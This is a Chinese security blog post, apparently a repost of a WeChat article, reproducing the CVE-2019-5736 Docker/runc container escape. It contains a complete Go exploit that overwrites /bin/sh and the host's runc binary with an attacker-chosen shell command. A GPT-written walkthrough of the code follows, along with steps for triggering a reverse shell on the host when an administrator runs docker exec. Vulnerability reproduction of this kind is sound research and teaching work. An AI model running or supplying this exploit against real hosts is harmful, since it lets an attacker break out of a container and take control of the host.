记一次docker逃逸漏洞的复现

admin 2024年5月13日01:34:14评论17 views字数 2758阅读9分11秒阅读模式
本文由掌控安全学院 - dienamer 投稿

利用条件

  1. DockerVersion<18.09.2
  2. RunCVersion<1.0-rc6
  3. 攻击者具有容器文件上传权限&管理员使用exec访问容器||攻击者具有启动容器权限

利用原理

这里的问题存在于,当我们去进入一个容器的时候,会去调用Runc执行一些相关的程序,这个版本的Runc允许我们覆盖其执行的二进制文件,从而执行了我们写入的命令造成了容器逃逸。

复现过程

poc如下

  1. package main
  2. // Implementation of CVE-2019-5736
  3. // Created with help from @singe, @_cablethief, and @feexd.
  4. // This commit also helped a ton to understand the vuln
  5. // https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
  6. import(
  7. "fmt"
  8. "io/ioutil"
  9. "os"
  10. "strconv"
  11. "strings"
  12. "flag"
  13. )
  14. var shellCmd string
  15. func init(){
  16. flag.StringVar(&shellCmd,"shell","","Execute arbitrary commands")
  17. flag.Parse()
  18. }
  19. func main(){
  20. // This is the line of shell commands that will execute on the host
  21. var payload ="#!/bin/bash n"+ shellCmd
  22. // First we overwrite /bin/sh with the /proc/self/exe interpreter path
  23. fd, err := os.Create("/bin/sh")
  24. if err !=nil{
  25. fmt.Println(err)
  26. return
  27. }
  28. fmt.Fprintln(fd,"#!/proc/self/exe")
  29. err = fd.Close()
  30. if err !=nil{
  31. fmt.Println(err)
  32. return
  33. }
  34. fmt.Println("[+] Overwritten /bin/sh successfully")
  35. // Loop through all processes to find one whose cmdline includes runcinit
  36. // This will be the process created by runc
  37. var found int
  38. for found ==0{
  39. pids, err := ioutil.ReadDir("/proc")
  40. if err !=nil{
  41. fmt.Println(err)
  42. return
  43. }
  44. for _, f := range pids {
  45. fbytes, _ := ioutil.ReadFile("/proc/"+ f.Name()+"/cmdline")
  46. fstring :=string(fbytes)
  47. if strings.Contains(fstring,"runc"){
  48. fmt.Println("[+] Found the PID:", f.Name())
  49. found, err = strconv.Atoi(f.Name())
  50. if err !=nil{
  51. fmt.Println(err)
  52. return
  53. }
  54. }
  55. }
  56. }
  57. // We will use the pid to get a file handle for runc on the host.
  58. var handleFd =-1
  59. for handleFd ==-1{
  60. // Note, you do not need to use the O_PATH flag for the exploit to work.
  61. handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY,0777)
  62. ifint(handle.Fd())>0{
  63. handleFd =int(handle.Fd())
  64. }
  65. }
  66. fmt.Println("[+] Successfully got the file handle")
  67. // Now that we have the file handle, lets write to the runc binary and overwrite it
  68. // It will maintain it's executable flag
  69. for{
  70. writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC,0700)
  71. ifint(writeHandle.Fd())>0{
  72. fmt.Println("[+] Successfully got write handle", writeHandle)
  73. fmt.Println("[+] The command executed is"+ payload)
  74. writeHandle.Write([]byte(payload))
  75. return
  76. }
  77. }
  78. }

这是gpt对这段代码的讲解

  1. 这段代码是一个实现了CVE-2019-5736漏洞的程序。该漏洞影响了容器技术中的runc工具,允许攻击者在容器内部执行恶意代码并获取主机的控制权。
  2. 代码的主要逻辑如下:
  3. 导入所需的包和定义全局变量。
  4. 在init()函数中,使用flag包解析命令行参数,其中包括一个名为"shell"的参数,用于指定要执行的任意命令。
  5. 在main()函数中,定义了一个payload变量,其中包含了要在主机上执行的shell命令。
  6. 创建一个文件描述符fd,用于打开并覆盖主机上的/bin/sh文件。将其内容修改为#!/proc/self/exe,这样当/bin/sh被执行时,实际上会执行当前程序自身。
  7. 循环遍历/proc目录下的所有进程,查找包含"runc"的进程。一旦找到,获取其PID,并将其转换为整数类型。
  8. 使用PID获取runc进程的文件句柄handleFd。
  9. 使用handleFd打开/proc/self/fd目录下的文件,将payload写入该文件,覆盖runc二进制文件。
  10. 程序结束。
  11. 这段代码的目的是通过修改runc二进制文件,将其替换为恶意代码,从而实现对主机的控制。请注意,这段代码仅用于演示和教育目的,不应用于非法活动。对于真实环境中的漏洞利用,请遵循法律和道德准则。

首先当我们成功getshell进入到容器后,编译上面的payload(shellCmd换成自己想执行的指令),然后执行,
这里需要root权限。
记一次docker逃逸漏洞的复现
这时候当系统管理员去exec进入这个容器的时候,就会执行上面的指令,成功反弹了shell

记一次docker逃逸漏洞的复现

记一次docker逃逸漏洞的复现

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

 

记一次docker逃逸漏洞的复现

 

原文始发于微信公众号(掌控安全EDU):记一次docker逃逸漏洞的复现

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月13日01:34:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次docker逃逸漏洞的复现https://cn-sec.com/archives/2075296.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息